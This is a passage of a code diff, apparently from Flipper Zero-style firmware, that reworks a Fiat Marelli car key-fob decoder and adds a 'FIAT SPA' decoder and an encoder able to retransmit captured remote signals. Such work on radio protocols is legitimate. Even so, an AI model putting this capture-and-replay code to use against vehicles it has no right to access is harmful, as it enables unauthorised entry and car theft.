-            instance->generic.cnt =
-                ((uint32_t)instance->raw_data[7] << 16) |
-                ((uint32_t)instance->raw_data[8] << 8) |
-                ((uint32_t)instance->raw_data[9]);
-
-            FURI_LOG_I(
-                TAG,
-                "Decoded %d bits: %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X",
-                instance->bit_count,
-                instance->raw_data[0],
-                instance->raw_data[1],
-                instance->raw_data[2],
-                instance->raw_data[3],
-                instance->raw_data[4],
-                instance->raw_data[5],
-                instance->raw_data[6],
-                instance->raw_data[7],
-                instance->raw_data[8],
-                instance->raw_data[9],
-                instance->raw_data[10]);
+            instance->generic.cnt = (instance->raw_data[7] >> 3) & 0x1F;
 
             if(instance->base.callback) {
                 instance->base.callback(&instance->base, instance->base.context);
@@ -342,6 +536,7 @@ void subghz_protocol_decoder_fiat_marelli_feed(void* context, bool level, uint32
         instance->te_last = duration;
         break;
     }
+
     }
 }
 
@@ -367,14 +562,15 @@ SubGhzProtocolStatus subghz_protocol_decoder_fiat_marelli_serialize(
         subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
 
     if(ret == SubGhzProtocolStatusOk) {
-        // Save extra data (bits 64+ right-aligned in uint32_t)
         flipper_format_write_uint32(flipper_format, "Extra", &instance->extra_data, 1);
 
-        // Save total bit count explicitly (generic serialize also saves it, but Extra needs context)
         uint32_t extra_bits = instance->generic.data_count_bit > 64
                                   ? (instance->generic.data_count_bit - 64)
                                   : 0;
         flipper_format_write_uint32(flipper_format, "Extra_bits", &extra_bits, 1);
+
+        uint32_t te = instance->te_detected;
+        flipper_format_write_uint32(flipper_format, "TE", &te, 1);
     }
 
     return ret;
@@ -395,6 +591,11 @@ SubGhzProtocolStatus subghz_protocol_decoder_fiat_marelli_deserialize(
             instance->extra_data = extra;
         }
 
+        uint32_t te = 0;
+        if(flipper_format_read_uint32(flipper_format, "TE", &te, 1)) {
+            instance->te_detected = te;
+        }
+
         fiat_marelli_rebuild_raw_data(instance);
     }
 
@@ -418,29 +619,35 @@ void subghz_protocol_decoder_fiat_marelli_get_string(void* context, FuriString*
     furi_check(context);
     SubGhzProtocolDecoderFiatMarelli* instance = context;
 
-    uint8_t total_bytes = (instance->bit_count + 7) / 8;
-    if(total_bytes > 13) total_bytes = 13;
+    uint8_t epoch = instance->raw_data[6] & 0xF;
+    uint8_t counter = (instance->raw_data[7] >> 3) & 0x1F;
+    const char* variant = (instance->te_detected &&
+                           instance->te_detected < FIAT_MARELLI_TE_TYPE_AB_BOUNDARY)
+                              ? "B"
+                              : "A";
+    uint8_t scramble = (instance->raw_data[7] >> 1) & 0x3;
+    uint8_t fixed    =  instance->raw_data[7] & 0x1;
 
     furi_string_cat_printf(
         output,
         "%s %dbit\r\n"
-        "Sn:%08lX Btn:%s(0x%X)\r\n"
-        "Roll:%02X%02X%02X%02X%02X%02X\r\n"
-        "Data:",
+        "Enc:%02X%02X%02X%02X%02X Scr:%02X\r\n"
+        "Raw:%02X%02X Fixed:%X\r\n"
+        "Sn:%08X Cnt:%02X\r\n"
+        "Btn:%02X:[%s] Ep:%02X\r\n"
+        "Tp:%s\r\n",
         instance->generic.protocol_name,
-        instance->bit_count,
-        instance->generic.serial,
+        (int)instance->bit_count,
+        instance->raw_data[8], instance->raw_data[9],
+        instance->raw_data[10], instance->raw_data[11],
+        instance->raw_data[12],
+        (unsigned)scramble,
+        instance->raw_data[6], instance->raw_data[7],
+        (unsigned)fixed,
+        (unsigned int)instance->generic.serial,
+        (unsigned)counter,
+        (unsigned)instance->generic.btn,
         fiat_marelli_button_name(instance->generic.btn),
-        instance->generic.btn,
-        instance->raw_data[7],
-        instance->raw_data[8],
-        instance->raw_data[9],
-        (total_bytes > 10) ? instance->raw_data[10] : 0,
-        (total_bytes > 11) ? instance->raw_data[11] : 0,
-        (total_bytes > 12) ? instance->raw_data[12] : 0);
-
-    for(uint8_t i = 0; i < total_bytes; i++) {
-        furi_string_cat_printf(output, "%02X", instance->raw_data[i]);
-    }
-    furi_string_cat_printf(output, "\r\n");
+        (unsigned)epoch,
+        variant);
 }

lib/subghz/protocols/fiat_marelli.h

@@ -1,14 +1,6 @@
 #pragma once
 
-#include <furi.h>
-#include <lib/subghz/protocols/base.h>
-#include <lib/subghz/types.h>
-#include <lib/subghz/blocks/const.h>
-#include <lib/subghz/blocks/decoder.h>
-#include <lib/subghz/blocks/encoder.h>
-#include <lib/subghz/blocks/generic.h>
-#include <lib/subghz/blocks/math.h>
-#include <lib/toolbox/manchester_decoder.h>
+#include "base.h"
 #include <flipper_format/flipper_format.h>
 
 #define FIAT_MARELLI_PROTOCOL_NAME "Fiat Marelli"
@@ -31,7 +23,6 @@ SubGhzProtocolStatus
     subghz_protocol_decoder_fiat_marelli_deserialize(void* context, FlipperFormat* flipper_format);
 void subghz_protocol_decoder_fiat_marelli_get_string(void* context, FuriString* output);
 
-// Encoder stubs 
 void* subghz_protocol_encoder_fiat_marelli_alloc(SubGhzEnvironment* environment);
 void subghz_protocol_encoder_fiat_marelli_free(void* context);
 SubGhzProtocolStatus

lib/subghz/protocols/fiat_spa.c

@@ -0,0 +1,517 @@
+#include "fiat_spa.h"
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+#include <lib/toolbox/manchester_decoder.h>
+
+#define TAG "SubGhzProtocolFiatSpa"
+
+static const SubGhzBlockConst subghz_protocol_fiat_spa_const = {
+    .te_short = 200,
+    .te_long = 400,
+    .te_delta = 100,
+    .min_count_bit_for_found = 64,
+};
+
+#define FIAT_SPA_PREAMBLE_PAIRS 150
+#define FIAT_SPA_GAP_US 800
+#define FIAT_SPA_TOTAL_BURSTS 3
+#define FIAT_SPA_INTER_BURST_GAP 25000
+#define FIAT_SPA_UPLOAD_MAX 1328
+
+struct SubGhzProtocolDecoderFiatSpa {
+    SubGhzProtocolDecoderBase base;
+    SubGhzBlockGeneric generic;
+    SubGhzBlockDecoder decoder;
+    ManchesterState manchester_state;
+    uint16_t preamble_count;
+    uint32_t data_low;
+    uint32_t data_high;
+    uint8_t bit_count;
+    uint32_t hop;
+    uint32_t fix;
+    uint8_t endbyte;
+};
+
+struct SubGhzProtocolEncoderFiatSpa {
+    SubGhzProtocolEncoderBase base;
+    void* decoder_callback;
+    void* decoder_context;
+    SubGhzBlockGeneric generic;
+    SubGhzProtocolBlockEncoder encoder;
+    uint32_t hop;
+    uint32_t fix;
+    uint8_t endbyte;
+};
+
+typedef struct {
+    SubGhzProtocolDecoderBase base;
+    SubGhzBlockGeneric generic;
+} SubGhzProtocolCommonFiatSpa;
+
+typedef enum {
+    FiatSpaDecoderStepReset = 0,
+    FiatSpaDecoderStepPreamble,
+    FiatSpaDecoderStepData,
+} FiatSpaDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_fiat_spa_decoder = {
+    .alloc = subghz_protocol_decoder_fiat_spa_alloc,
+    .free = subghz_protocol_decoder_fiat_spa_free,
+    .feed = subghz_protocol_decoder_fiat_spa_feed,
+    .reset = subghz_protocol_decoder_fiat_spa_reset,
+    .get_hash_data = subghz_protocol_decoder_fiat_spa_get_hash_data,
+    .serialize = subghz_protocol_decoder_fiat_spa_serialize,
+    .deserialize = subghz_protocol_decoder_fiat_spa_deserialize,
+    .get_string = subghz_protocol_decoder_fiat_spa_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_fiat_spa_encoder = {
+    .alloc = subghz_protocol_encoder_fiat_spa_alloc,
+    .free = subghz_protocol_encoder_fiat_spa_free,
+    .deserialize = subghz_protocol_encoder_fiat_spa_deserialize,
+    .stop = subghz_protocol_encoder_fiat_spa_stop,
+    .yield = subghz_protocol_encoder_fiat_spa_yield,
+};
+
+const SubGhzProtocol subghz_protocol_fiat_spa = {
+    .name = SUBGHZ_PROTOCOL_FIAT_SPA_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM |
+            SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
+            SubGhzProtocolFlag_Send,
+    .decoder = &subghz_protocol_fiat_spa_decoder,
+    .encoder = &subghz_protocol_fiat_spa_encoder,
+};
+
+void* subghz_protocol_decoder_fiat_spa_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderFiatSpa* instance = malloc(sizeof(SubGhzProtocolDecoderFiatSpa));
+    instance->base.protocol = &subghz_protocol_fiat_spa;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_fiat_spa_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFiatSpa* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_fiat_spa_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFiatSpa* instance = context;
+    instance->decoder.parser_step = FiatSpaDecoderStepReset;
+    instance->decoder.decode_data = 0;
+    instance->decoder.decode_count_bit = 0;
+    instance->preamble_count = 0;
+    instance->data_low = 0;
+    instance->data_high = 0;
+    instance->bit_count = 0;
+    instance->hop = 0;
+    instance->fix = 0;
+    instance->endbyte = 0;
+    instance->manchester_state = ManchesterStateMid1;
+}
+
+void subghz_protocol_decoder_fiat_spa_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFiatSpa* instance = context;
+    uint32_t te_short = (uint32_t)subghz_protocol_fiat_spa_const.te_short;
+    uint32_t te_long = (uint32_t)subghz_protocol_fiat_spa_const.te_long;
+    uint32_t te_delta = (uint32_t)subghz_protocol_fiat_spa_const.te_delta;
+    uint32_t gap_threshold = FIAT_SPA_GAP_US;
+    uint32_t diff;
+
+    switch(instance->decoder.parser_step) {
+    case FiatSpaDecoderStepReset:
+        if(!level) return;
+        if(duration < te_short) {
+            diff = te_short - duration;
+        } else {
+            diff = duration - te_short;
+        }
+        if(diff < te_delta) {
+            instance->data_low = 0;
+            instance->data_high = 0;
+            instance->decoder.parser_step = FiatSpaDecoderStepPreamble;
+            instance->preamble_count = 0;
+            instance->bit_count = 0;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            manchester_advance(
+                instance->manchester_state,
+                ManchesterEventReset,
+                &instance->manchester_state,
+                NULL);
+        }
+        break;
+
+    case FiatSpaDecoderStepPreamble:
+        if(level) {
+            if(duration < te_short) {
+                diff = te_short - duration;
+            } else {
+                diff = duration - te_short;
+            }
+            if(diff < te_delta) {
+                instance->preamble_count++;
+            } else {
+                instance->decoder.parser_step = FiatSpaDecoderStepReset;
+            }
+            return;
+        }
+
+        if(duration < te_short) {
+            diff = te_short - duration;
+        } else {
+            diff = duration - te_short;
+        }
+
+        if(diff < te_delta) {
+            instance->preamble_count++;
+        } else {
+            if(instance->preamble_count >= FIAT_SPA_PREAMBLE_PAIRS) {
+                if(duration < gap_threshold) {
+                    diff = gap_threshold - duration;
+                } else {
+                    diff = duration - gap_threshold;
+                }
+                if(diff < te_delta) {
+                    instance->decoder.parser_step = FiatSpaDecoderStepData;
+                    instance->preamble_count = 0;
+                    instance->data_low = 0;
+                    instance->data_high = 0;
+                    instance->bit_count = 0;
+                    manchester_advance(instance->manchester_state, ManchesterEventReset, &instance->manchester_state, NULL);
+                    return;
+                }
+            }
+            instance->decoder.parser_step = FiatSpaDecoderStepReset;
+        }
+
+        if(instance->preamble_count >= FIAT_SPA_PREAMBLE_PAIRS &&
+           instance->decoder.parser_step == FiatSpaDecoderStepPreamble) {
+            if(duration < gap_threshold) {
+                diff = gap_threshold - duration;
+            } else {
+                diff = duration - gap_threshold;
+            }
+            if(diff < te_delta) {
+                instance->decoder.parser_step = FiatSpaDecoderStepData;
+                instance->preamble_count = 0;
+                instance->data_low = 0;
+                instance->data_high = 0;
+                instance->bit_count = 0;
+                manchester_advance(instance->manchester_state, ManchesterEventReset, &instance->manchester_state, NULL);
+                return;
+            }
+        }
+        break;
+
+    case FiatSpaDecoderStepData: {
+        ManchesterEvent event = ManchesterEventReset;
+        if(duration < te_short) {
+            diff = te_short - duration;
+            if(diff < te_delta) {
+                event = level ? ManchesterEventShortLow : ManchesterEventShortHigh;
+            }
+        } else {
+            diff = duration - te_short;
+            if(diff < te_delta) {
+                event = level ? ManchesterEventShortLow : ManchesterEventShortHigh;
+            } else {
+                if(duration < te_long) {
+                    diff = te_long - duration;
+                } else {
+                    diff = duration - te_long;
+                }
+                if(diff < te_delta) {
+                    event = level ? ManchesterEventLongLow : ManchesterEventLongHigh;
+                }
+            }
+        }
+        if(event != ManchesterEventReset) {
+            bool data_bit_bool;
+            if(manchester_advance(
+                   instance->manchester_state,
+                   event,
+                   &instance->manchester_state,
+                   &data_bit_bool)) {
+                uint32_t new_bit = data_bit_bool ? 1 : 0;
+                uint32_t carry = (instance->data_low >> 31) & 1;
+                instance->data_low = (instance->data_low << 1) | new_bit;
+                instance->data_high = (instance->data_high << 1) | carry;
+                instance->bit_count++;
+                if(instance->bit_count == 64) {
+                    instance->fix = instance->data_low;
+                    instance->hop = instance->data_high;
+                    instance->data_low = 0;
+                    instance->data_high = 0;
+                }
+                if(instance->bit_count == 0x47) {
+                    instance->endbyte = (uint8_t)(instance->data_low & 0x3F);
+                    instance->generic.data = ((uint64_t)instance->hop << 32) | instance->fix;
+                    instance->generic.data_count_bit = 71;
+                    instance->generic.serial = instance->fix;
+                    instance->generic.btn = instance->endbyte;
+                    instance->generic.cnt = instance->hop;
+                    instance->decoder.decode_data = instance->generic.data;
+                    instance->decoder.decode_count_bit = instance->generic.data_count_bit;
+                    if(instance->base.callback) {
+                        instance->base.callback(&instance->base, instance->base.context);
+                    }
+                    instance->data_low = 0;
+                    instance->data_high = 0;
+                    instance->bit_count = 0;
+                    instance->decoder.parser_step = FiatSpaDecoderStepReset;
+                }
+            }
+        } else {
+            if(instance->bit_count == 0x47) {
+                instance->endbyte = (uint8_t)(instance->data_low & 0x3F);
+                instance->generic.data = ((uint64_t)instance->hop << 32) | instance->fix;
+                instance->generic.data_count_bit = 71;
+                instance->generic.serial = instance->fix;
+                instance->generic.btn = instance->endbyte;
+                instance->generic.cnt = instance->hop;
+                instance->decoder.decode_data = instance->generic.data;
+                instance->decoder.decode_count_bit = instance->generic.data_count_bit;
+                if(instance->base.callback) {
+                    instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->data_low = 0;
+                instance->data_high = 0;
+                instance->bit_count = 0;
+                instance->decoder.parser_step = FiatSpaDecoderStepReset;
+            } else if(instance->bit_count < 64) {
+                instance->decoder.parser_step = FiatSpaDecoderStepReset;
+            }
+        }
+        break;
+    }
+    }
+}
+
+uint8_t subghz_protocol_decoder_fiat_spa_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFiatSpa* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_fiat_spa_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFiatSpa* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        if(subghz_block_generic_serialize(&instance->generic, flipper_format, preset) !=
+           SubGhzProtocolStatusOk) {
+            break;
+        }
+        if(!flipper_format_write_uint32(
+               flipper_format, "EndByte", (uint32_t*)&instance->endbyte, 1)) {
+            break;
+        }
+        ret = SubGhzProtocolStatusOk;
+    } while(false);
+    return ret;
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_fiat_spa_deserialize(
+    void* context,
+    FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderFiatSpa* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
+        if(ret != SubGhzProtocolStatusOk) break;
+        uint32_t endbyte_temp = 0;
+        if(!flipper_format_read_uint32(flipper_format, "EndByte", &endbyte_temp, 1)) {
+            instance->endbyte = 0;
+        } else {
+            instance->endbyte = (uint8_t)endbyte_temp;
+        }
+        instance->hop = (uint32_t)(instance->generic.data >> 32);
+        instance->fix = (uint32_t)(instance->generic.data & 0xFFFFFFFF);
+        instance->generic.cnt = instance->hop;
+        instance->generic.serial = instance->fix;
+        instance->generic.btn = instance->endbyte;
+        ret = SubGhzProtocolStatusOk;
+    } while(false);
+    return ret;
+}
+
+void subghz_protocol_decoder_fiat_spa_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolCommonFiatSpa* instance = context;
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:%08lX%08lX\r\n"
+        "Fix:%08lX\r\n"
+        "Hop:%08lX\r\n"
+        "EndByte:%02X",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data >> 32),
+        (uint32_t)(instance->generic.data & 0xFFFFFFFF),
+        instance->generic.serial,
+        instance->generic.cnt,
+        instance->generic.btn);
+}
+
+void* subghz_protocol_encoder_fiat_spa_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderFiatSpa* instance = malloc(sizeof(SubGhzProtocolEncoderFiatSpa));
+    instance->base.protocol = &subghz_protocol_fiat_spa;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = FIAT_SPA_UPLOAD_MAX;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    instance->encoder.front = 0;
+    instance->hop = 0;
+    instance->fix = 0;
+    instance->endbyte = 0;
+    return instance;
+}
+
+void subghz_protocol_encoder_fiat_spa_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderFiatSpa* instance = context;
+    if(instance->encoder.upload) {
+        free(instance->encoder.upload);
+    }
+    free(instance);
+}
+
+void subghz_protocol_encoder_fiat_spa_stop(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderFiatSpa* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_fiat_spa_yield(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderFiatSpa* instance = context;
+    if(!instance->encoder.is_running || instance->encoder.repeat == 0) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+    return ret;
+}
+
+static void subghz_protocol_encoder_fiat_spa_get_upload(SubGhzProtocolEncoderFiatSpa* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+    uint32_t te_short = subghz_protocol_fiat_spa_const.te_short;
+    uint32_t te_long = subghz_protocol_fiat_spa_const.te_long;
+
+    uint64_t data = ((uint64_t)instance->hop << 32) | instance->fix;
+    uint8_t endbyte_to_send = instance->endbyte >> 1;
+
+    for(uint8_t burst = 0; burst < FIAT_SPA_TOTAL_BURSTS; burst++) {
+        if(burst > 0) {
+            instance->encoder.upload[index++] =
+                level_duration_make(false, FIAT_SPA_INTER_BURST_GAP);
+        }
+        for(int i = 0; i < FIAT_SPA_PREAMBLE_PAIRS; i++) {
+            instance->encoder.upload[index++] = level_duration_make(true, te_short);
+            instance->encoder.upload[index++] = level_duration_make(false, te_short);
+        }
+        instance->encoder.upload[index - 1] = level_duration_make(false, FIAT_SPA_GAP_US);
+
+        bool first_bit = (data >> 63) & 1;
+        if(first_bit) {
+            instance->encoder.upload[index++] = level_duration_make(true, te_long);
+        } else {
+            instance->encoder.upload[index++] = level_duration_make(true, te_short);
+            instance->encoder.upload[index++] = level_duration_make(false, te_long);
+        }
+        bool prev_bit = first_bit;
+
+        for(int bit = 62; bit >= 0; bit--) {
+            bool curr_bit = (data >> bit) & 1;
+            if(!prev_bit && !curr_bit) {
+                instance->encoder.upload[index++] = level_duration_make(true, te_short);
+                instance->encoder.upload[index++] = level_duration_make(false, te_short);
+            } else if(!prev_bit && curr_bit) {
+                instance->encoder.upload[index++] = level_duration_make(true, te_long);
+            } else if(prev_bit && !curr_bit) {
+                instance->encoder.upload[index++] = level_duration_make(false, te_long);
+            } else {
+                instance->encoder.upload[index++] = level_duration_make(false, te_short);
+                instance->encoder.upload[index++] = level_duration_make(true, te_short);
+            }
+            prev_bit = curr_bit;
+        }
+
+        for(int bit = 5; bit >= 0; bit--) {
+            bool curr_bit = (endbyte_to_send >> bit) & 1;
+            if(!prev_bit && !curr_bit) {
+                instance->encoder.upload[index++] = level_duration_make(true, te_short);
+                instance->encoder.upload[index++] = level_duration_make(false, te_short);
+            } else if(!prev_bit && curr_bit) {
+                instance->encoder.upload[index++] = level_duration_make(true, te_long);
+            } else if(prev_bit && !curr_bit) {
+                instance->encoder.upload[index++] = level_duration_make(false, te_long);
+            } else {
+                instance->encoder.upload[index++] = level_duration_make(false, te_short);
+                instance->encoder.upload[index++] = level_duration_make(true, te_short);
+            }
+            prev_bit = curr_bit;
+        }
+
+        if(prev_bit) {
+            instance->encoder.upload[index++] = level_duration_make(false, te_short);
+        }
+        instance->encoder.upload[index++] = level_duration_make(false, te_short * 8);
+    }
+
+    instance->encoder.size_upload = index;
+    instance->encoder.front = 0;
+}
+
+SubGhzProtocolStatus subghz_protocol_encoder_fiat_spa_deserialize(
+    void* context,
+    FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderFiatSpa* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
+        if(ret != SubGhzProtocolStatusOk) break;
+
+        instance->hop = (uint32_t)(instance->generic.data >> 32);
+        instance->fix = (uint32_t)(instance->generic.data & 0xFFFFFFFF);
+
+        uint32_t endbyte_temp = 0;
+        if(!flipper_format_read_uint32(flipper_format, "EndByte", &endbyte_temp, 1)) {
+            instance->endbyte = 0;
+        } else {
+            instance->endbyte = (uint8_t)endbyte_temp;
+        }
+
+        instance->generic.cnt = instance->hop;
+        instance->generic.serial = instance->fix;
+        instance->generic.btn = instance->endbyte;
+
+        subghz_protocol_encoder_fiat_spa_get_upload(instance);
+
+        instance->encoder.is_running = true;
+        ret = SubGhzProtocolStatusOk;
+    } while(false);
+    return ret;
+}

lib/subghz/protocols/fiat_spa.h

@@ -0,0 +1,32 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_FIAT_SPA_NAME "FIAT SPA"
+
+typedef struct SubGhzProtocolDecoderFiatSpa SubGhzProtocolDecoderFiatSpa;
+typedef struct SubGhzProtocolEncoderFiatSpa SubGhzProtocolEncoderFiatSpa;
+
+extern const SubGhzProtocol subghz_protocol_fiat_spa;
+
+void* subghz_protocol_decoder_fiat_spa_alloc(SubGhzEnvironment* environment);
+void subghz_protocol_decoder_fiat_spa_free(void* context);
+void subghz_protocol_decoder_fiat_spa_reset(void* context);
+void subghz_protocol_decoder_fiat_spa_feed(void* context, bool level, uint32_t duration);
+uint8_t subghz_protocol_decoder_fiat_spa_get_hash_data(void* context);
+SubGhzProtocolStatus subghz_protocol_decoder_fiat_spa_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+SubGhzProtocolStatus subghz_protocol_decoder_fiat_spa_deserialize(
+    void* context,
+    FlipperFormat* flipper_format);
+void subghz_protocol_decoder_fiat_spa_get_string(void* context, FuriString* output);
+
+void* subghz_protocol_encoder_fiat_spa_alloc(SubGhzEnvironment* environment);
+void subghz_protocol_encoder_fiat_spa_free(void* context);
+SubGhzProtocolStatus subghz_protocol_encoder_fiat_spa_deserialize(
+    void* context,
+    FlipperFormat* flipper_format);
+void subghz_protocol_encoder_fiat_spa_stop(void* context);
+LevelDuration subghz_protocol_encoder_fiat_spa_yield(void* context);

lib/subghz/protocols/fiat_v0.c

@@ -1,655 +0,0 @@
-#include "fiat_v0.h"
-#include <inttypes.h>
-#include <lib/toolbox/manchester_decoder.h>
-
-#define TAG                     "FiatProtocolV0"
-#define FIAT_V0_PREAMBLE_PAIRS  150
-#define FIAT_V0_GAP_US          800
-#define FIAT_V0_TOTAL_BURSTS    3
-#define FIAT_V0_INTER_BURST_GAP 25000
-
-static const SubGhzBlockConst subghz_protocol_fiat_v0_const = {
-    .te_short = 200,
-    .te_long = 400,
-    .te_delta = 100,
-    .min_count_bit_for_found = 71,
-};
-
-struct SubGhzProtocolDecoderFiatV0 {
-    SubGhzProtocolDecoderBase base;
-    SubGhzBlockDecoder decoder;
-    SubGhzBlockGeneric generic;
-    ManchesterState manchester_state;
-    uint8_t decoder_state;
-    uint16_t preamble_count;
-    uint32_t data_low;
-    uint32_t data_high;
-    uint8_t bit_count;
-    uint32_t hop;
-    uint32_t fix;
-    uint8_t endbyte;
-    uint8_t final_count;
-    uint32_t te_last;
-};
-
-struct SubGhzProtocolEncoderFiatV0 {
-    SubGhzProtocolEncoderBase base;
-    SubGhzProtocolBlockEncoder encoder;
-    SubGhzBlockGeneric generic;
-
-    uint32_t hop;
-    uint32_t fix;
-    uint8_t endbyte;
-
-    size_t upload_capacity;
-};
-
-typedef enum {
-    FiatV0DecoderStepReset = 0,
-    FiatV0DecoderStepPreamble = 1,
-    FiatV0DecoderStepData = 2,
-} FiatV0DecoderStep;
-
-// ============================================================================
-// PROTOCOL INTERFACE DEFINITIONS
-// ============================================================================
-
-const SubGhzProtocolDecoder subghz_protocol_fiat_v0_decoder = {
-    .alloc = subghz_protocol_decoder_fiat_v0_alloc,
-    .free = subghz_protocol_decoder_fiat_v0_free,
-    .feed = subghz_protocol_decoder_fiat_v0_feed,
-    .reset = subghz_protocol_decoder_fiat_v0_reset,
-    .get_hash_data = subghz_protocol_decoder_fiat_v0_get_hash_data,
-    .serialize = subghz_protocol_decoder_fiat_v0_serialize,
-    .deserialize = subghz_protocol_decoder_fiat_v0_deserialize,
-    .get_string = subghz_protocol_decoder_fiat_v0_get_string,
-};
-
-const SubGhzProtocolEncoder subghz_protocol_fiat_v0_encoder = {
-    .alloc = subghz_protocol_encoder_fiat_v0_alloc,
-    .free = subghz_protocol_encoder_fiat_v0_free,
-    .deserialize = subghz_protocol_encoder_fiat_v0_deserialize,
-    .stop = subghz_protocol_encoder_fiat_v0_stop,
-    .yield = subghz_protocol_encoder_fiat_v0_yield,
-};
-
-const SubGhzProtocol subghz_protocol_fiat_v0 = {
-    .name = FIAT_PROTOCOL_V0_NAME,
-    .type = SubGhzProtocolTypeStatic,
-    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_FM | SubGhzProtocolFlag_Decodable |
-            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
-    .decoder = &subghz_protocol_fiat_v0_decoder,
-    .encoder = &subghz_protocol_fiat_v0_encoder,
-};
-
-// ============================================================================
-// ENCODER IMPLEMENTATION
-// ============================================================================
-
-static size_t fiat_v0_encoder_calc_required_upload(void) {
-    // Per burst:
-    //   preamble: FIAT_V0_PREAMBLE_PAIRS pairs => 2 elements each
-    //   data:     64 bits Manchester => 2 elements per bit
-    //   endbyte:  7 bits Manchester  => 2 elements per bit
-    //   trailer:  1 element (extended low)
-    const size_t per_burst = (FIAT_V0_PREAMBLE_PAIRS * 2) + (64 * 2) + (7 * 2) + 1;
-    // Inter-burst gap: 1 element between each pair of bursts
-    return (FIAT_V0_TOTAL_BURSTS * per_burst) +
-           (FIAT_V0_TOTAL_BURSTS > 0 ? (FIAT_V0_TOTAL_BURSTS - 1) : 0);
-}
-
-void* subghz_protocol_encoder_fiat_v0_alloc(SubGhzEnvironment* environment) {
-    UNUSED(environment);
-    SubGhzProtocolEncoderFiatV0* instance = calloc(1, sizeof(SubGhzProtocolEncoderFiatV0));
-    furi_check(instance);
-
-    instance->base.protocol = &subghz_protocol_fiat_v0;
-    instance->generic.protocol_name = instance->base.protocol->name;
-
-    instance->encoder.repeat = 10;
-    instance->encoder.size_upload = 0;
-    instance->upload_capacity = fiat_v0_encoder_calc_required_upload();
-    instance->encoder.upload = calloc(instance->upload_capacity, sizeof(LevelDuration));
-    furi_check(instance->encoder.upload);
-    instance->encoder.is_running = false;
-
-    return instance;
-}
-
-void subghz_protocol_encoder_fiat_v0_free(void* context) {
-    furi_check(context);
-    SubGhzProtocolEncoderFiatV0* instance = context;
-    if(instance->encoder.upload) {
-        free(instance->encoder.upload);
-    }
-    free(instance);
-}
-
-static void subghz_protocol_encoder_fiat_v0_get_upload(SubGhzProtocolEncoderFiatV0* instance) {
-    furi_check(instance);
-
-    const size_t required = fiat_v0_encoder_calc_required_upload();
-    // Capacity is pre-allocated at alloc time — assert it is sufficient
-    furi_check(required <= instance->upload_capacity);
-
-    size_t index = 0;
-    uint32_t te_short = subghz_protocol_fiat_v0_const.te_short;
-
-    FURI_LOG_I(
-        TAG,
-        "Building upload: hop=0x%08lX, fix=0x%08lX, endbyte=0x%02X",
-        instance->hop,
-        instance->fix,
-        instance->endbyte & 0x7F);
-
-    for(uint8_t burst = 0; burst < FIAT_V0_TOTAL_BURSTS; burst++) {
-        if(burst > 0) {
-            instance->encoder.upload[index++] =
-                level_duration_make(false, FIAT_V0_INTER_BURST_GAP);
-        }
-
-        // Preamble: alternating short pulses
-        for(int i = 0; i < FIAT_V0_PREAMBLE_PAIRS; i++) {
-            instance->encoder.upload[index++] = level_duration_make(true, te_short);
-            instance->encoder.upload[index++] = level_duration_make(false, te_short);
-        }
-
-        // Extend last LOW to create the sync gap
